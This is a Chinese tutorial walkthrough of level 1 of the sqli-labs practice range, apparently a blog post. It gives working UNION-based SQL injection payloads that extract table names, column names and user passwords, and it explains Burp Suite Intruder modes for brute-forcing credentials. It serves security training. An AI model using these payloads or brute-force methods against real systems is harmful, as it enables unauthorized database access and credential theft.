sqlilabs靶场通关详解

文章目录

1、less-1详解

1.1、源码分析

  • 函数作用参考官方文档php手册

  • isset --- 检测变量是否已声明并且其值不为 null

  • fopen --- 打开文件或者 URL

  • fopen中的mode 参数指定了所要求到该流的访问类型

mode 说明
' r ' 只读,将文件指针指向文件头。
' r+ ' 读写,将文件指针指向文件头。
' w ' 写,将文件指针指向文件头并将文件大小截为零。文件不存在则尝试创建。
' w+ ' 读写,否则行为同 'w'。
' a ' 写,文件指向文件末尾,文件不存在则尝试创建。fseek() 没有效果,写入总是追加
' a+ ' 读写,文件指针指向文件末尾,文件不存在则尝试创建。fseek() 只相应读取位置,写入总是追加
  • 查询语句

1.2、测试

相关前置知识点击此处

1.2.1、判断闭合符
  • 源码分析出闭合符为单引号
1.2.2、判断列数
  • 使用order by

  • 出现Unknown column '4' in 'order clause'说明无第四列

1.2.3、判断回显位
  • id=-2的目的时让前半条查询查不到任何记录,UNION SELECT的结果才在页面上显示
  • 接下来就可以使用函数获取信息
sql 复制代码
Less-1/?id=-2'union select 1,database(),user();--+
1.2.4、获取表名、列名、密码

相关前置知识

  • 若开源,直接下载查看即可
  • 若此时闭源,则需要进行查询
sql 复制代码
/Less-1/?id=-2'union select 1,(select table_name from information_schema.tables where table_schema='security'),user();--+
  • 直接使用查询会报错Subquery returns more than 1 row,是因为子查询返回了"多行数据",但把它放在了只能放一个值的位置UNION SELECT 的某一列里,解决方法如下两种:
  1. limit
    • 手动更改
    • 使用bp进行爆破
      在要爆破的字段前add

  • 查看返回值不一致的说明爆破成功
  1. group_concat
    • 将分组中的多个值,连接成一个字符串返回。


    • 对应的username和password会形成一个字符串
sql 复制代码
#获取表名
/Less-1/?id=-2'union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='security' ) ,user();--+
#获取列名
/Less-1/?id=-2'union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' ) ,user();--+
#获取用户名和密码
/Less-1/?id=-2'union select 1,(select group_concat(username,password) from users ) ,3;--+

2、BurpSuit使用

2.1、 Sniper(狙击手)

  • 核心逻辑:单组 Payload,多位置,逐个测试。

  • 执行流程:假设有2个位置(如参数A、参数B)和Payload集 [1, 2],则顺序为:先在位置A依次尝试1、2(即 A=1、A=2);再在位置B依次尝试1、2(即 B=1、B=2)。

  • 适用场景:适合测试单个位置的多种值,或多个位置但每个位置需独立测试的情况(如分别测试用户名、密码的单个值)。

2.2、 Battering ram(攻城锤)

  • 核心逻辑:单组 Payload,多位置,同步填充

  • 执行流程:假设有2个位置(参数A、参数B)和Payload集 [1, 2],则顺序为:先将1同时填入A和B(即 A=1 且 B=1);再将2同时填入A和B(即 A=2 且 B=2)。

  • 适用场景:适合多个位置需使用相同Payload的情况(如测试多个参数都用同一个用户名)。

2.3、 Pitchfork(草叉)

  • 核心逻辑:多组 Payload,每个位置对应不同的Payload集,同时迭代所有Payload集(取每个集的"对应位置"payload)。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:取每个集的第1个A=1 且 B=a);取每个集的第2个(A=2 且 B=b)。

  • 适用场景:适合多个位置需对应不同但索引一致的Payload(如用户名列表和密码列表,用户名第1个对应密码第1个)。

2.4、 Cluster bomb(集束炸弹)

  • 核心逻辑:多组 Payload,全排列组合。

  • 执行流程:假设位置A的Payload集是 [1, 2],位置B的Payload集是 [a, b],则顺序为:A=1 且 B=a;A=1 且 B=b;A=2 且 B=a;A=2 且 B=b。

  • 适用场景:适合需要 exhaustive 测试所有组合的情况(如用户名和密码的所有可能组合,组合数量=Paylaod集数量的乘积)。

相关推荐
山峰哥11 分钟前
数据库工程与SQL调优——从索引策略到查询优化的深度实践
数据库·sql·性能优化·编辑器
较劲男子汉23 分钟前
CANN Runtime零拷贝传输技术源码实战 彻底打通Host与Device的数据传输壁垒
运维·服务器·数据库·cann
java搬砖工-苤-初心不变28 分钟前
MySQL 主从复制配置完全指南:从原理到实践
数据库·mysql
黑客老李2 小时前
web渗透实战 | js.map文件泄露导致的通杀漏洞
安全·web安全·小程序·黑客入门·渗透测试实战
WangYaolove13142 小时前
基于python的在线水果销售系统(源码+文档)
python·mysql·django·毕业设计·源码
山岚的运维笔记2 小时前
SQL Server笔记 -- 第18章:Views
数据库·笔记·sql·microsoft·sqlserver
财经三剑客2 小时前
AI元年,春节出行安全有了更好的答案
大数据·人工智能·安全
roman_日积跬步-终至千里3 小时前
【LangGraph4j】LangGraph4j 核心概念与图编排原理
java·服务器·数据库
汇智信科3 小时前
打破信息孤岛,重构企业效率:汇智信科企业信息系统一体化运营平台
数据库·重构
野犬寒鸦4 小时前
从零起步学习并发编程 || 第六章:ReentrantLock与synchronized 的辨析及运用
java·服务器·数据库·后端·学习·算法